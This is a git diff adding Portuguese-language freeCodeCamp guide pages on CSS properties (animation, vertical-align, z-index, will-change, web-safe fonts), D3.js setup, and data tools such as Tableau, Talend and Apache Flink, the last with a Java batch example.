+*   `animation-play-state`
+*   `animation-timing-function`
+*   `animation-fill-mode`
+
+### Exemplo de seqüência de animação CSS para mover texto pela tela
+
+Na parte HTML teremos um `div` com `container` classe e um `h3` com o texto `Hello World` :
+
+```html
+
+<div class="container"> 
+    <h3> Hello World ! </h3> 
+ </div> 
+```
+
+Para a parte CSS:
+
+```css
+.container { 
+    /* We will define the width, height and padding of the container */ 
+    /* The text-align to center */ 
+    width: 400px; 
+    height: 60px; 
+    padding: 32px; 
+    text-align: center; 
+ 
+    /* Use the animation `blink` to repeat infinitely for a time period of 2.5s*/ 
+    animation-duration: 2.5s; 
+    animation-iteration-count: infinite; 
+    animation-direction: normal; 
+    animation-name: blink; 
+ 
+    /* The same can be written shorthand as     */ 
+    /* --------------------------------------   */ 
+    /* animation: 2.5s infinite normal blink;   */ 
+ } 
+ @keyframes blink { 
+    0%, 100% {              /* Defines the properties at these frames */ 
+        background: #333; 
+        color: white; 
+    } 
+ 
+    50% {                   /* Defines the properties at these frames */ 
+        background: #ccc; 
+        color: black; 
+        border-radius: 48px; 
+    } 
+ } 
+```
+
+![Imgur](https://imgur.com/sczZjwm.gif)
+
+#### Mais Informações:
+
+Para mais detalhes sobre CSS Animations, visite [Mozilla Developer Network Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/using-css-transitions/index.md b/client/src/guide/portuguese/css/using-css-transitions/index.md
new file mode 100644
index 0000000000..6104ce942d
--- /dev/null
+++ b/client/src/guide/portuguese/css/using-css-transitions/index.md
@@ -0,0 +1,11 @@
+---
+title: Using CSS Transitions
+localeTitle: Usando CSS Transitions
+---
+## Usando CSS Transitions
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/using-css-transitions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/vertical-align/index.md b/client/src/guide/portuguese/css/vertical-align/index.md
new file mode 100644
index 0000000000..8aa7793627
--- /dev/null
+++ b/client/src/guide/portuguese/css/vertical-align/index.md
@@ -0,0 +1,32 @@
+---
+title: Vertical Align CSS  
+localeTitle: Vertical alinhar CSS
+---
+## Vertical-Alinhar
+
+`vertical-align` é uma propriedade CSS usada para alinhar verticalmente uma imagem.
+
+Por exemplo, você pode ser `vertical-align` para alinhar uma imagem:
+```
+img { 
+    vertical-align: top; 
+ } 
+```
+
+Estes são os valores válidos para `vertical-align` :
+
+*   `baseline` - este é o valor padrão. Alinha o elemento à linha de base do elemento pai
+*   `length` - Alinha a linha de base desse elemento em um determinado comprimento acima ou abaixo da linha de base do pai. Você pode usar pixals, em,%, etc.
+*   `sub` - Isto alinha o elemento como se fosse o subscrito do elemento pai
+*   `super` - Isso alinha o elemento como se fosse o sobrescrito do elemento pai
+*   `top` - alinha o elemento de forma que a parte superior desse elemento esteja alinhada com a parte superior do elemento mais alto na linha
+*   `bottom` - alinha o elemento de forma que a parte inferior desse elemento esteja alinhada com a parte inferior do elemento mais baixo da linha
+*   `middle` - alinha o elemento de forma que fique no meio do elemento pai
+*   `text=top` - Alinha a parte superior desse elemento para que fique alinhado com o topo do topo do elemento pai
+*   `text-bottom` - Alinha a parte inferior desse elemento para que fique alinhado com a parte inferior do texto do elemento pai
+
+#### Mais Informações:
+
+*   [Alinhamento vertical de CSS](https://www.w3schools.com/cssref/pr_pos_vertical-align.asp)
+    
+*   [Truques CSS alinhados verticalmente](https://css-tricks.com/almanac/properties/t/text-align/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/w3-css-containers/index.md b/client/src/guide/portuguese/css/w3-css-containers/index.md
new file mode 100644
index 0000000000..251f60efae
--- /dev/null
+++ b/client/src/guide/portuguese/css/w3-css-containers/index.md
@@ -0,0 +1,33 @@
+
+#localeTitle: undefined
+#Contêineres CSS W3 O W3.css fornece uma classe contêiner que adiciona 16 pixels de preenchimento à esquerda e à direita a qualquer elemento html e 0,01 preenchimento superior e inferior. Isso o torna ideal para elementos contendo html, como `<header>, <div>, <footer>, <section>` etc. Mas também pode ser usado com grande efeito em elementos como `<img> and <p>.`
+
+### Exemplo simples
+```
+<header class="w3-container"> 
+  <h1>Header With W3 Container</h1> 
+ </header> 
+```
+
+```
+<header> 
+  <h1>Header Without W3 Container</h1> 
+ </header> 
+```
+
+Produziria o seguinte resultado.
+
+![Cabeçalho img](https://github.com/OcelotDive/randomImages/blob/master/images/WithWithout.PNG)
+
+### Para usar contêineres W3.Css
+
+Basta adicionar um link de folha de estilo regular ao cabeçalho da sua página da Web da seguinte forma:
+```
+<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 
+```
+
+ou faça o download do último arquivo css para sua máquina local. Aqui: (https://www.w3schools.com/w3css/4/w3.css)
+
+#### Mais informações sobre contêineres W3.Css
+
+##### W3schools.com (https://www.w3schools.com/w3css/w3css\_containers.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/w3-css-slideshow/index.md b/client/src/guide/portuguese/css/w3-css-slideshow/index.md
new file mode 100644
index 0000000000..77dd0cb561
--- /dev/null
+++ b/client/src/guide/portuguese/css/w3-css-slideshow/index.md
@@ -0,0 +1,11 @@
+---
+title: W3 CSS Slideshow
+localeTitle: Slideshow CSS W3
+---
+## Slideshow CSS W3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/w3-css-slideshow/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/web-safe-fonts/index.md b/client/src/guide/portuguese/css/web-safe-fonts/index.md
new file mode 100644
index 0000000000..e5c3717764
--- /dev/null
+++ b/client/src/guide/portuguese/css/web-safe-fonts/index.md
@@ -0,0 +1,41 @@
+---
+title: Web Safe Fonts
+localeTitle: Fontes seguras da Web
+---
+## Fontes seguras da Web
+
+As fontes seguras para a Web são fontes incluídas na maioria dos sistemas operacionais, e a implicação dessa alta disponibilidade é que um projetista pode esperar que a tipografia envolvendo fontes seguras da Web apareça exatamente como se destina à maioria dos usuários. Abaixo estão listas não exaustivas de algumas fontes que são consideradas seguras para a Web no momento da escrita, categorizadas por famílias de fontes genéricas CSS.
+
+Fontes serifadas da Web:
+
+*   Geórgia
+*   Times New Roman
+
+Fontes sans-serif seguras para a Web:
+
+*   Arial
+*   Tahoma
+*   Trebuchet MS
+*   Verdana
+
+Fontes monoespaçadas seguras na Web:
+
+*   Courier Novo
+
+Vale a pena observar que as pilhas de fontes com opções de fallback, incluindo uma família de fontes genérica, ainda devem ser usadas, mesmo se o design usar apenas fontes seguras da Web. Por exemplo:
+
+```css
+p { 
+  font-family: Tahoma, Arial, sans-serif; 
+ } 
+```
+
+#### Uma nota sobre fontes da Web
+
+Só porque algumas fontes são mais seguras do que outras, isso não significa que você deve limitar seus projetos a usar apenas fontes seguras para a web. Projetos modernos com CSS também podem aproveitar as fontes da Web para garantir uma tipografia consistente em todos os sistemas operacionais.
+
+#### Mais Informações:
+
+*   [Documentação MDN: texto fundamental e estilo de fonte](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Fundamentals#Web_safe_fonts)
+*   [Documentação MDN: Fontes da Web](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Web_fonts)
+*   [Fontes seguras da Web](https://www.cssfontstack.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/will-change/index.md b/client/src/guide/portuguese/css/will-change/index.md
new file mode 100644
index 0000000000..adf98ded40
--- /dev/null
+++ b/client/src/guide/portuguese/css/will-change/index.md
@@ -0,0 +1,33 @@
+---
+title: Will Change
+localeTitle: Vai mudar
+---
+## Vai mudar
+
+A propriedade will-change permite que você informe ao navegador quais manipulações ocorrerão com o elemento para otimizá-lo.
+
+```css
+.container { 
+ will-change: transform; 
+ } 
+```
+
+A propriedade acima será alterada para a classe `.container` , neste caso, a transformação no elemento pode ou não ocorrer.
+
+No entanto, usando essa propriedade, há um efeito colateral interessante.
+
+Se aplicarmos ao elemento transform: `translateZ (0)` , o elemento criará um novo contexto de sobreposição, e em alguns navegadores ele também adicionará uma camada ao seu próprio fluxo de renderização, o que nos dará um aumento de desempenho, o que estamos alcançando .
+
+Consequentemente, usando `will-change: transform` , o navegador criará um novo contexto de sobreposição, independentemente de termos aplicado a transformação ao elemento ou não.
+
+A principal coisa a observar é que a mudança de vontade criará um novo contexto de sobreposição somente se a propriedade também criar um novo contexto de sobreposição. Como a propriedade transform cria um novo contexto de sobreposição, `will-change: transform` também criará um novo contexto de sobreposição.
+
+Se você usou `will-change: display` , um novo contexto de sobreposição não será criado, já que nenhum valor da propriedade de exibição cria um novo contexto de sobreposição.
+
+Vamos ver outro exemplo: `opacity` . A opacidade com um valor de 1 não cria um novo contexto de sobreposição, mas com um valor mais baixo (por exemplo, 0,9) será criado. Enquanto vai mudar: em qualquer caso, a opacidade criará um novo contexto de sobreposição.
+
+#### Mais Informações:
+
+*   [vai mudar em documentos web MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/will-change)
+*   [O CSS mudará o módulo de nível 1 (rascunho de trabalho)](https://drafts.csswg.org/css-will-change/#will-change)
+*   [Posso usar: propriedade de alteração de CSS](https://caniuse.com/#feat=will-change)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/z-index/index.md b/client/src/guide/portuguese/css/z-index/index.md
new file mode 100644
index 0000000000..18415c1d4a
--- /dev/null
+++ b/client/src/guide/portuguese/css/z-index/index.md
@@ -0,0 +1,101 @@
+---
+title: Z Index
+localeTitle: Índice Z
+---
+## Índice Z
+
+Z Index ( `z-index` ) é uma propriedade CSS que define a ordem dos elementos HTML sobrepostos. Elementos com um índice mais alto serão colocados sobre elementos com um índice menor.
+
+**Nota** : O índice Z só funciona nos elementos posicionados ( `position:absolute` , `position:relative` ou `position:fixed` ).
+
+#### Valores possíveis
+
+```css
+/* Default value if not specified */ 
+ z-index: auto; 
+ 
+ /* Integer values */ 
+ z-index: 1; 
+ z-index: 100; 
+ z-index: 9999; 
+ z-index: -1; 
+ 
+ /* Global values */ 
+ z-index: inherit; 
+ z-index: initial; 
+ z-index: unset; 
+```
+
+#### Exemplo de uso
+
+Neste exemplo, você pode ver três caixas exibidas uma em cima da outra em diferentes pedidos usando o `z-index` .
+
+_HTML_
+
+```html
+
+<div class="container"> 
+  <div class="box" id="blue"></div> 
+  <div class="box" id="red"></div> 
+  <div class="box" id="green"></div> 
+ </div> 
+```
+
+_CSS_
+
+```css
+#blue { 
+  background-color: blue; 
+ } 
+ 
+ #red { 
+  background-color: red; 
+ } 
+ 
+ #green { 
+  background-color: green; 
+ } 
+```
+
+Como o `z-index` não foi definido, ele terá um valor padrão de `auto` . Isso é um resultado:
+
+![Uma imagem de três caixas](https://image.prntscr.com/image/Yc9oGkdKTnm_YIHzaKQmbQ.png)
+
+Tente alterar a ordem para verde, azul, vermelho em CSS usando `z-index` .
+
+```css
+#blue { 
+  background-color: blue; 
+  z-index: 2; 
+ } 
+ 
+ #red { 
+  background-color: red; 
+  z-index: 1; 
+ } 
+ 
+ #green { 
+  background-color: green; 
+  z-index: 3; 
+ } 
+```
+
+Seu resultado será:
+
+![Uma imagem de três caixas](https://image.prntscr.com/image/Am9XxPO4Q2mq-PcokJ47Wg.png)
+
+Use o índice Z se precisar colocar um elemento de plano de fundo abaixo de um contêiner. Você pode facilmente colocar o fundo em cada elemento, dando-lhe um índice Z negativo como abaixo:
+
+```css
+#background { 
+  z-index: -1; 
+ } 
+```
+
+#### Mais Informações:
+
+[https://css-tricks.com/almanac/properties/z/z-index/](https://css-tricks.com/almanac/properties/z/z-index/)
+
+[https://developer.mozilla.org/pt-BR/docs/Web/CSS/CSS _Posicionamento / Noções_ básicas sobre z\_index](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index)
+
+[https://philipwalton.com/articles/what-no-one-told-you-about-z-index/](https://philipwalton.com/articles/what-no-one-told-you-about-z-index/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/d3/index.md b/client/src/guide/portuguese/d3/index.md
new file mode 100644
index 0000000000..63992afa24
--- /dev/null
+++ b/client/src/guide/portuguese/d3/index.md
@@ -0,0 +1,68 @@
+---
+title: D3
+localeTitle: D3
+---
+# D3: documentos orientados por dados
+
+**Documentos controlados por dados** (D3.js) é uma biblioteca JavaScript para produzir visualizações de dados dinâmicas e interativas em navegadores da web. **A** API **D3.js** contém vários métodos que podem ser agrupados nas seguintes unidades lógicas - _Seleções_ , _Transições_ , _Matrizes_ , _Matemática_ , _Cor_ , _Escalas_ , _SVG_ , _Tempo_ , _Layouts_ , _Geografia_ , _Geometria_ , _Comportamentos_ .
+
+![Logo D3.js](https://i2.wp.com/pbiswas101.files.wordpress.com/2018/07/d3.jpg?w=312&h=161)
+
+**O D3.js** ajuda você a visualizar dados combinando técnicas poderosas de visualização e interação com uma abordagem baseada em dados para manipulação de DOM. Ele também fornece recursos completos de navegadores modernos, projetando a interface visual correta para seus dados.
+
+**D3.js** version 1.0.0 foi lançado em 18 de fevereiro de 2011.
+
+## Por que, D3.js?
+
+_D3_ \* não introduz uma nova representação visual. Ao contrário do **Processing** , **Raphaël** ou **Protovis** , _o_ vocabulário de marcas gráficas _do D3_ vem diretamente dos padrões web: HTML, SVG e CSS - https://d3js.org/
+
+###### Iniciar
+
+Existem mais de **20.000 +** exemplos de **D3.js com os quais** você pode aprender, mas você nunca sabe o quão acessível qualquer um será! Então, a questão é: como você constrói sua visualização a partir dos primeiros princípios? Como você provavelmente já viu, a API do D3 é enorme, então vamos falar sobre alguns dos utilitários que serão particularmente úteis no início:
+
+*   **d3-scale**
+
+![](https://i0.wp.com/pbiswas101.files.wordpress.com/2018/07/scale.png?w=400&h=100)
+
+*   **d3-shape**
+
+![](https://i0.wp.com/pbiswas101.files.wordpress.com/2018/07/shape.png?w=400&h=100)
+
+*   **d3-selection**
+
+![](https://i0.wp.com/pbiswas101.files.wordpress.com/2018/07/selection.gif?w=400&h=100)
+
+*   **d3-collection**
+
+![](https://i0.wp.com/pbiswas101.files.wordpress.com/2018/07/collection.png?w=400&h=100)
+
+*   **hierarquia d3**
+
+![](https://i2.wp.com/pbiswas101.files.wordpress.com/2018/07/hierarchy.png?w=400&h=100)
+
+*   **d3-zoom**
+
+![](https://i1.wp.com/pbiswas101.files.wordpress.com/2018/07/zoom.gif?w=400&h=100)
+
+*   **d3-force**
+
+![](https://i1.wp.com/pbiswas101.files.wordpress.com/2018/07/force.gif?w=400&h=100)
+
+Assim, com apenas alguns conhecimentos básicos dos recursos mais recentes do HTML5, como o SVG, o Canvas, você pode mergulhar em um mundo onde a biblioteca como o **D3.js** traz dados para a vida! ###### Contribuição
+
+*   https://github.com/d3/
+    
+    ### Recursos
+    
+*   https://en.wikipedia.org/wiki/D3.js
+    
+*   https://en.wikipedia.org/wiki/Document _Object_ Model
+    
+*   http://blockbuilder.org/search
+    
+*   https://d3indepth.com/
+    
+*   https://davidwalsh.name/learning-d3
+    
+
+* * *
\ No newline at end of file
diff --git a/client/src/guide/portuguese/d3/set-up-d3/index.md b/client/src/guide/portuguese/d3/set-up-d3/index.md
new file mode 100644
index 0000000000..96f753a124
--- /dev/null
+++ b/client/src/guide/portuguese/d3/set-up-d3/index.md
@@ -0,0 +1,73 @@
+---
+title: Set Up D3
+localeTitle: Configurar D3
+---
+## Configuração HTML
+
+Por enquanto, você usará apenas um arquivo de texto e o navegador da web. Você começará com uma página estática de HTML. Então você adicionará d3.js. Crie uma pasta chamada _projetos_ d3js _. Crie um arquivo HTML na pasta chamada project_ 1.html.
+
+Comece com uma página HTML básica:
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+  </head> 
+  <body> 
+    <p>Hello!</p> 
+  </body> 
+ </html> 
+```
+
+Que aparece no navegador:
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/project_1_browser_snapshot_600x198.png)
+
+### Configuração do D3.js
+
+Para obter o arquivo JavaScript D3.js principal, acesse o site D3.js. Após o primeiro parágrafo na página, você verá uma seção com links para a versão mais recente. Faça o download da última versão d3.v2.min.js. Salve este arquivo na pasta d3js\_projects.
+
+O arquivo d3.v2.min.js é salvo na mesma pasta que o arquivo HTML, para que possa ser facilmente referenciado. Nós referenciamos o arquivo JavaScript da cabeça do arquivo HTML. Nosso arquivo HTML atualizado agora se parece com isto:
+
+`html <!DOCTYPE html> <html> <head> <script type="text/javascript" src="d3.v2.min.js"></script> </head> <body> <p>Hello!</p> </body> </html>`
+
+Teste de instalação do arquivo de origem
+
+Para testar nossa configuração do D3.js, abrimos o kit de ferramentas do elemento inspecionar. Na aba Elemento do Webkit Inspector, nós abrimos todos os elementos para que possamos ver toda a estrutura HTML. Em seguida, passamos o mouse sobre o d3.vs.min.js src.
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/d3.js.installation.check.png)
+
+Quando clicamos no link, nos leva para a guia de fontes. Isso mostrará o código minado do D3.js.
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/d3.js.source.check.png)
+
+\### Teste de configuração do console JavaScript
+
+O último teste será realizado no Console JavaScript. Este teste nos diz se o D3.js está carregado corretamente para nosso uso no Console JavaScript. Neste instantâneo, localize a aba "Console" no Webkit Inspector:
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/d3.js.installation.check.png)
+
+Quando você clica na aba, ele mostra uma tela em branco onde você pode digitar e avaliar JavaScript.
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/JavaScript_Console_600x170.png)
+
+No console do JavaScript, digite o seguinte:
+
+`javascript alert("hello");`
+
+Isso fará com que um alerta popup seja exibido e diga "Olá!". Isto é o que parece:
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/JavaScript_Consoler_Alert_600x335.png)
+
+Agora, para testar se o D3.js está carregado corretamente. Digite um "d3" minúsculo no console seguido de um ponto:
+
+`javascript d3`
+
+Se tivermos o D3.js instalado corretamente, deve aparecer o seguinte:
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/d3.js.javascript.console_300x420.png)
+
+Se todos os testes foram aprovados e você conseguiu carregar o D3.js corretamente, você está pronto para começar.
+
+\#### Mais Informações
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/Tableau/index.md b/client/src/guide/portuguese/data-science-tools/Tableau/index.md
new file mode 100644
index 0000000000..bf373e6a99
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/Tableau/index.md
@@ -0,0 +1,12 @@
+---
+  title: Tableau
+localeTitle: mesa
+---
+# Quadro
+
+O Tableau é um software de visualização de dados para business intelligence. O Tableau é um pensamento comercialmente disponível na base do Tableau Software. Os recursos incluem visualizações altamente interativas, capacidades de mapeamento e painéis de instrumentos. Uma comunidade roboust para visualizações tableau existe on-line, onde muitos indivíduos publicamente publicam seus painéis.
+
+### Links:
+
+*   [Site do Tableau](https://www.tableau.com)
+*   [Galeria pública do Tableau](https://public.tableau.com/en-us/s/gallery)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/Talend/index.md b/client/src/guide/portuguese/data-science-tools/Talend/index.md
new file mode 100644
index 0000000000..17194f6cde
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/Talend/index.md
@@ -0,0 +1,33 @@
+---
+title: Talend Open Studio
+localeTitle: Talend Open Studio
+---
+## Talend Open Studio
+
+[O Talend](https://www.talend.com/) [Open Studio](https://www.talend.com/products/talend-open-studio/) é uma suíte de software de código aberto com soluções para [Integração de Dados](https://www.talend.com/products/data-integration/data-integration-open-studio/) , [Big Data](https://www.talend.com/products/big-data/big-data-open-studio/) , [Preparação de](https://www.talend.com/products/data-preparation/data-preparation-free-desktop/) [Dados](https://www.talend.com/products/talend-open-studio/data-quality-open-studio/) , [Qualidade de Dados](https://www.talend.com/products/talend-open-studio/data-quality-open-studio/) , [Enterprise Service Bus](https://www.talend.com/products/application-integration/esb-open-studio/) e [Master Data Management](https://www.talend.com/products/mdm/mdm-open-studio/) .
+
+Graças à natureza Open Source deste projeto, uma comunidade próspera ajuda a desenvolver [extensões e componentes](https://exchange.talend.com/) .
+
+## Integração de dados
+
+Inicie seus projetos de ETL e integre os dados ![Integração de dados](https://www.talend.com/wp-content/uploads/connect-and-transform-data-in-no-time.jpg)
+
+## Big Data
+
+Simplifique o ETL para conjuntos de dados grandes e diversos ![Big Data](https://www.talend.com/wp-content/uploads/connect-and-transform-big-data.jpg)
+
+## Preparação de dados
+
+Permitir que os usuários descubram, combinem e limpem dados ![Preparação de dados](https://www.talend.com/wp-content/uploads/get-your-time-back.jpg)
+
+## Qualidade de dados
+
+Avaliar a precisão e integridade dos dados ![Qualidade dos dados](https://www.talend.com/wp-content/uploads/map-your-path-to-clean-data.jpg)
+
+## Barramento de Serviço Corporativo
+
+Acelerar a orquestração de aplicativos e APIs ![Barramento de serviço corporativo](https://www.talend.com/wp-content/uploads/speed-up-integration-for-reuse-2.png)
+
+## Gerenciamento de dados mestre
+
+Gere uma única "versão da verdade" para dados ![Gerenciamento de dados mestre](https://www.talend.com/wp-content/uploads/generate-a-single-version-of-the-truth-for-data.jpg)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/detail/index.md b/client/src/guide/portuguese/data-science-tools/detail/index.md
new file mode 100644
index 0000000000..eaf8af5258
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/detail/index.md
@@ -0,0 +1,41 @@
+---
+title: detail
+localeTitle: detalhe
+---
+## O que é Ciência de Dados?
+
+### A Data Science é um campo multidisciplinar que combina habilidades em
+```
+    software engineering and statistics with domain experience to 
+    support the end-to-end analysis of large and diverse data sets, 
+    ultimately uncovering value for an organization and then 
+    communicating that value to stakeholders as actionable results. 
+```
+
+## Cientista de dados
+```
+Person who is better at statistics than any software engineer and 
+    better at software engineering than any statistician. 
+```
+
+## Que habilidades você precisa?
+```
+* Mathematics - Calculus, Linear Algebra 
+ * Statistics - Hypothesis, Testing, Regression 
+ * Programming - SQL, R/Python 
+ * Machine Learning - Supervised and Unsupervised Learning, Model Fitting 
+ * Business/Product Intuition - Interpret and communicate results to non-technical audience 
+```
+
+## Ciclo da vida
+```
+1 - Identify or Formulate Problem 
+ 2 - Data Preparation 
+ 3 - Data Exploration 
+ 4 - Transform and Select 
+ 5 - Build Model 
+ 6 - Validate Model 
+ 7 - Deploy Model 
+ 8 - Evalute or Monitor Results 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/flink/batch-examples-java/index.md b/client/src/guide/portuguese/data-science-tools/flink/batch-examples-java/index.md
new file mode 100644
index 0000000000..ec3bbcce90
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/flink/batch-examples-java/index.md
@@ -0,0 +1,93 @@
+---
+title: Flink Batch Example JAVA
+localeTitle: Exemplo de Lote Flink JAVA
+---
+## Exemplo de Lote Flink JAVA
+
+O Apache Flink é uma estrutura de processamento de fluxo de código aberto com recursos poderosos de processamento em fluxo e em lote.
+
+### Pré-requisitos
+
+*   Ambiente semelhante ao Unix (Linux, Mac OS X, Cygwin)
+*   git
+*   Maven (recomendamos a versão 3.0.4)
+*   Java 7 ou 8
+*   IDE do IntelliJ IDEA ou Eclipse
+```
+git clone https://github.com/apache/flink.git 
+ cd flink 
+ mvn clean package -DskipTests # this will take up to 10 minutes 
+```
+
+### Conjuntos de dados
+
+Para os dados de processamento em lote, usaremos os conjuntos de dados aqui: [conjuntos de dados](http://files.grouplens.org/datasets/movielens/ml-latest-small.zip) Neste exemplo, usaremos o movies.csv e o ratings.csv, criaremos um novo projeto java e os colocaremos em uma pasta na base do aplicativo.
+
+### Exemplo
+
+Vamos fazer uma execução em que recuperamos a classificação média por gênero de filme de todo o conjunto de dados que temos.
+
+**Ambiente e conjuntos de dados**
+
+Primeiro crie um novo arquivo Java, vou nomeá-lo AverageRating.java
+
+A primeira coisa que faremos é criar o ambiente de execução e carregar os arquivos csv em um conjunto de dados. Como isso:
+```
+ExecutionEnvironment env = ExecutionEnvironment.getExecutionEnvironment(); 
+ DataSet<Tuple3<Long, String, String>> movies = env.readCsvFile("ml-latest-small/movies.csv") 
+  .ignoreFirstLine() 
+  .parseQuotedStrings('"') 
+  .ignoreInvalidLines() 
+  .types(Long.class, String.class, String.class); 
+ 
+ DataSet<Tuple2<Long, Double>> ratings = env.readCsvFile("ml-latest-small/ratings.csv") 
+  .ignoreFirstLine() 
+  .includeFields(false, true, true, false) 
+  .types(Long.class, Double.class); 
+```
+
+Lá, estamos fazendo um conjunto de dados com um para os filmes, ignorando erros, citações e a linha de cabeçalho, e um conjunto de dados com para as classificações de filmes, também ignorando o cabeçalho, as linhas e aspas inválidas.
+
+**Processamento Flink**
+
+Aqui vamos processar o dataset com flink. O resultado será em uma lista de tuplas String, Double. onde o gênero estará na String e a classificação média será dupla.
+
+Primeiro, ingressaremos no conjunto de dados de classificações com o conjunto de dados de filmes do moviesId presente em cada conjunto de dados. Com isso, criaremos um novo Tuple com o nome do filme, gênero e pontuação. Mais tarde, agrupamos essa tupla por gênero e adicionamos a pontuação de todos os gêneros iguais, finalmente dividimos a pontuação pelo total de resultados e temos o resultado desejado.
+```
+List<Tuple2<String, Double>> distribution = movies.join(ratings) 
+  .where(0) 
+  .equalTo(0) 
+  .with(new JoinFunction<Tuple3<Long, String, String>,Tuple2<Long, Double>, Tuple3<StringValue, StringValue, DoubleValue>>() { 
+    private StringValue name = new StringValue(); 
+    private StringValue genre = new StringValue(); 
+    private DoubleValue score = new DoubleValue(); 
+    private Tuple3<StringValue, StringValue, DoubleValue> result = new Tuple3<>(name,genre,score); 
+ 
+    @Override 
+    public Tuple3<StringValue, StringValue, DoubleValue> join(Tuple3<Long, String, String> movie,Tuple2<Long, Double> rating) throws Exception { 
+      name.setValue(movie.f1); 
+      genre.setValue(movie.f2.split("\\|")[0]); 
+      score.setValue(rating.f1); 
+      return result; 
+    } 
+ }) 
+  .groupBy(1) 
+  .reduceGroup(new GroupReduceFunction<Tuple3<StringValue,StringValue,DoubleValue>, Tuple2<String, Double>>() { 
+    @Override 
+    public void reduce(Iterable<Tuple3<StringValue,StringValue,DoubleValue>> iterable, Collector<Tuple2<String, Double>> collector) throws Exception { 
+      StringValue genre = null; 
+      int count = 0; 
+      double totalScore = 0; 
+      for(Tuple3<StringValue,StringValue,DoubleValue> movie: iterable){ 
+        genre = movie.f1; 
+        totalScore += movie.f2.getValue(); 
+        count++; 
+      } 
+ 
+      collector.collect(new Tuple2<>(genre.getValue(), totalScore/count)); 
+    } 
+ }) 
+  .collect(); 
+```
+
+Com isso, você terá um aplicativo de processamento de processamento em lote. Apreciar!.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/flink/index.md b/client/src/guide/portuguese/data-science-tools/flink/index.md
new file mode 100644
index 0000000000..e1aaf276c8
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/flink/index.md
@@ -0,0 +1,68 @@
+---
+title: Flink
+localeTitle: Flink
+---
+## Flink
+
+O Apache Flink é uma estrutura de processamento de fluxo de código aberto com recursos poderosos de processamento em fluxo e em lote.
+
+O núcleo do Apache Flink é um mecanismo de fluxo de dados de fluxo contínuo distribuído em Java e Scala. O Flink executa programas de fluxo de dados arbitrários de maneira paralela aos dados e pipeline. O sistema de tempo de execução pipeline do Flink permite a execução de programas de processamento em massa / lote e fluxo. Além disso, o tempo de execução do Flink suporta a execução de algoritmos iterativos nativamente. O Flink fornece um mecanismo de streaming de alta produtividade e baixa latência, além de suporte para processamento em tempo de evento e gerenciamento de estado. Os aplicativos Flink são tolerantes a falhas no caso de falha da máquina e suportam semânticas exatamente uma vez. Os programas podem ser escritos em Java, Scala, Python e SQL e são automaticamente compilados e otimizados em programas de fluxo de dados que são executados em um ambiente de cluster ou de nuvem.
+
+O Flink não fornece seu próprio sistema de armazenamento de dados e fornece conectores de fontes e coletores de dados para sistemas como o Amazon Kinesis, o Apache Kafka, o HDFS, o Apache Cassandra e o ElasticSearch.
+
+![Fluxo de trabalho do Flink](https://flink.apache.org/img/flink-home-graphic-update.svg)
+
+**O que há de novo no Apache Flink?**
+
+*   O Flink implementa o processamento de streaming real e não o imita com o processamento de micro-lotes. No streaming do Spark, há um caso especial de envio em lote, enquanto no batching do Flink é um caso especial de streaming (fluxo de um tamanho finito)
+*   O Flink tem melhor suporte para processamento cíclico e iterativo
+*   Flink tem menor latência e maior taxa de transferência
+*   Flink tem operadores de janelas mais poderosos
+*   O Flink implementa snapshots distribuídos leves, com baixa sobrecarga e processamento de apenas uma vez, garantindo o processamento de fluxo, sem usar micro-lotes, pois o Spark não
+*   Flink suporta estado mutável no processamento de fluxo
+
+### Características
+
+*   Um tempo de execução de fluxo inicial que suporta programas de processamento em lote e de fluxo de dados
+*   APIs elegantes e fluentes em Java e Scala
+*   Um tempo de execução que suporta alta taxa de transferência e baixa latência de eventos ao mesmo tempo
+*   Suporte para o _tempo do evento_ e processamento _fora de ordem_ na API do DataStream, com base no _modelo do Dataflow_
+*   Janelas flexíveis (tempo, contagem, sessões, gatilhos personalizados) em diferentes semânticas de tempo (hora do evento, tempo de processamento)
+*   Tolerância a falhas com garantias de processamento _exatamente uma vez_
+*   Contrapressão natural em programas de streaming
+*   Bibliotecas para processamento de gráficos (lote), Aprendizado de Máquina (lote) e Processamento de Eventos Complexos (fluxo)
